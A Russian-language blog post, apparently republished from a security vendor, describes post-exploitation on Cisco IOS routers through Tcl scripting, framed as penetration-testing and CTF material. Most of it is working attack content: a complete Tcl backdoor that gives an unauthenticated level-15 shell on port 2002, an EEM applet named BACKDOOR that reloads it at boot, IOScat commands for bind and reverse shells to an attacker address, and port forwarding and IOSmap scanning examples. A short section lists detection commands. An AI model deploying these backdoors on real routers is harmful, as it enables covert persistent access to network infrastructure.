| RSS



Меню

Bookmark and Share


Календарь
«  Декабрь 2010  »
ПнВтСрЧтПтСбВс
  12345
6789101112
13141516171819
20212223242526
2728293031

Статистика
Ваш IP: 3.146.221.204
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » 2010 » Декабрь » 2 » Positive Technologies
15:43
Positive Technologies
Достаточно часто в ходе проведения работ по тестированию на проникновение встречаются маршрутизаторы Cisco Systems с привилегированным доступом (level 15), что позволяет использовать их для дальнейшего развития атак c применением функционала Tcl. Несколько методов проведения таких атак я опишу в этой статье.
Введение

Tcl (Tool Command Language, http://www.tcl.tk) – скриптовый язык, часто применяемый с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты до сих пор продолжает повсеместно использоваться как встроенный в различные приложения (вспомним хотя бы программы expect или irc-ботов eggdrop, использование его как модуля к серверной части apache mod_tcl). В операционную систему IOS, используемую маршрутизаторами Cisco Tcl, был введен с версии IOS 12.3(2)T

http://www.cisco.com/en/US/docs/ios/12_3t/12_3t2/feature/guide/gt_tcl.html, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения “пользовательских” сценариев. Как наиболее известный пример можно упомянуть использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.

Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора для выполнения следующих действий:
разработка собственного варианта “бэкдора” с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
использование маршрутизатора для проведения сканирования портов в различных сегментах сети;
использование маршрутизатора для проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
разработка вариантов сценариев для перебора паролей (брутфорса) различных устройств и серверов в сети.

Данными методами также может воспользоваться злоумышленник, получив доступ к TFTP-серверу компании, где размещены существующие сценарии, и принудительно заменив существующий сценарий на собственный. В этом случае произойдет его загрузка и запуск на маршрутизаторе.

Рис. 1 Атака подменой Tcl-сценария

Давайте попробуем понять, как это можно реализовать с использованием удаленного шелла, который возможно использовать без явной аутентификации, с использованием входа на назначенный порт по протоколу Telnet. Подобный сценарий использовался в качестве задания на соревнованиях «Рускрипто CTF 2010» - http://www.ruscrypto.org/.

В первую очередь давайте разберем, как работает Tcl на устройствах под управлеием IOS.
Загрузка и исполнение TCL-сценария
Для первичной загрузки Tcl-сценариев необходимо иметь привилегированный доступ не ниже уровня 15 (enable).
Tcl-сценарий необходимо загружать удаленно, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP.
Загрузку и выполнение сценарий можно выполнять как напрямую в RAM-память маршрутизатора, так и во FLASH-память c последующим его запуском с файловой системы IOS.

Загрузка сценария во FLASH и последующее его выполнение:
Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
Router# tclsh flash://script.tcl

Загрузка сценария непосредственно с TFTP-сервера:
Router# tclsh tftp://192.168.1.4/script.tcl

Ниже приведен пример Tcl-сценария, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка сценария выполняется методами, описанными выше (в приведенном примере с сервера TFTP).
proc callback {sock addr port} {
fconfigure $sock -translation crlf -buffering line
puts $sock "Cisco router admin console:"
puts $sock " "
puts -nonewline $sock "Router# "
flush $sock
fileevent $sock readable [list echo $sock]
}

proc echo {sock} {
global var

flush $sock

if {[catch {gets $sock line}] ||
[eof $sock]} {
return [close $sock]
}

catch {exec $line} result
if {[catch {puts $sock $result}]} {
return [close $sock]
}

puts -nonewline $sock "Router# "
flush $sock
}

set port 2002
set sh [socket -server callback $port]
vwait var
close $sh

После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему (режим EXEC) без использования учетных записей и выполнять любые команды с использованием привилегий суперпользователя (level 15):
[ptsec@maxpatrol ~]$ telnet router 2002
Trying 192.168.1.10...
Connected to router.
Escape character is '^]'.

Cisco router admin console:

Router#

Рис. 2 Пример загрузки сценария–бэкдора

Хотел рассказать о некоторых ограничениях при работе с Tcl на устройствах под управлением IOS, которые необходимо учитывать. В первых версиях IOS, включавших поддержку Tcl, сценарий продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу сценария при обрыве линии или по команде clear line. Данный “патч-фикс” производителя можно обойти несколькими способами:
На линиях (console 0 или vty 0 4), с которых запускается сценарий, применить команду exec-timeout 0 0, в противном случае по завершении сессии сценарий прекратит свою работу.
Router>en
Router#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#line vty 0 4
Router(config-line)#exec-timeout 0 0

Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. В примере ниже показана конфигурация, которая загружает сценарий с TFTP через 20 секунд после запуска маршрутизатора.
Router(config)# event manager applet BACKDOOR
Router(config-applet)# event timer countdown name Delay time 20
Router(config-applet)# action 1.0 cli command "enable"
Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"

Конвертировать Tcl-сценарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.
Готовые утилиты

В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в
IOScat, которые позволяют осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами.
С помощью встроенного языка Tcl можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив сценарий Tcl в flash маршрутизатора или используя TFTP-сервер напрямую в RAM. Методика загрузки и установки Tcl на маршрутизатор описана выше.

Примеры реализации:

Организация бэкдора на маршрутизаторе (2002 порт)
Router# tclshtftp://192.168.1.4/ioscat.tcl -ip2002 –oe

Рис. 3 Организация бэкдора на маршрутизаторе

Организация реверсного шелла на адрес атакующего (порт 12345)
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345

(на вашей машине, приемником шелла пойдет обычный netcat, >nc -l -p 12345)

Рис. 4 Организация реверсного шелла на адрес атакующего

Проброс удаленного порта на локальный порт маршрутизатора (2002)
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80

Рис. 5 Проброс удаленного порта на локальный порт маршрутизатора

Для данного сценария есть много других примеров, например, копирование файлов с использованием сокетов, имитация Telnet-сессии на удаленном хосте, а также много других функций, о которых можно узнать на сайте разработчика.
Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, с урезанным функционалом, но в данном случае достаточно эксклюзивным для работы в среде IOS. Функционал этого Tcl-сценария позволяет производить сканирование диапазонов IP-адресов на открытых tcp/udp-портах, в том числе используя метод инвентаризации хостов посредством протокола icmp.
Рассмотрим примеры использования:
Router>en
Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
[OK - 15912 bytes]

Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
[OK - 42121 bytes]

Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC

Free Memory on Platform = 29038388 / Memory required for this scan = 2622514

Host 192.168.1.1 is unavailable

Host 192.168.1.2 is unavailable

Host 192.168.1.3 is unavailable

Interesting ports on host 192.168.1.4
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
24/tcp closed priv-mail
80/tcp open http
443/tcp closed https

Host 192.168.1.5 is unavailable

Router#

Изменить варианты сканирования сценария можно путем добавления следующих аргументов:
-sP – только по ответу хоста;
-sT – TCP-портов, методом TCP connect;
-sU – UDP-портов, через функционал IP SLA.

Учитывая богатые возможности ТСL, можно разработать множество подобных, интересных в использовании приложений для дальнейшей их реализации в сетевой среде на оборудовании Cisco Systems.
Методы обнаружения

Имея возможность запускать сценарии, также интересно иметь возможность отследить их исполнение; сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе с помощью следующих команд маршрутизатора:
Router#show processes cpu | i Tcl
212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16

Router#show tcp brief all
TCB Local Address Foreign Address (state)
659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB
654485B4 *.2002 *.* LISTEN
65CA2D04 *.80 *.* LISTEN

Начиная с версии IOS 12.4(4)Т, появилась возможность использования CPP (Control Plane Policy):
Router#show control-plane host open-ports
Active internet connections (servers and established)
Prot Local Address Foreign Address Service State
tcp *:23 *:0 Telnet LISTEN
tcp *:23 192.168.1.4:1379 Telnet ESTABLIS
tcp *:80 *:0 HTTP CORE LISTEN
tcp *:1234 *:0 Tcl Serv - tty163 LISTEN

Также можно использовать и автоматизированные средства, например, систему контроля защищенности и соответствия стандартам MaxPatrol (http://www.ptsecurity.ru).

Рис. 6 Система контроля защищенности и соответствия стандартам MaxPatrol

Категория: | Просмотров: 1939 | Добавил: MariSHka | Теги: | Рейтинг: 0.0/0
Всего комментариев: 0
Главная
...
На службе : дней

14:32
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск

Архив записей


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика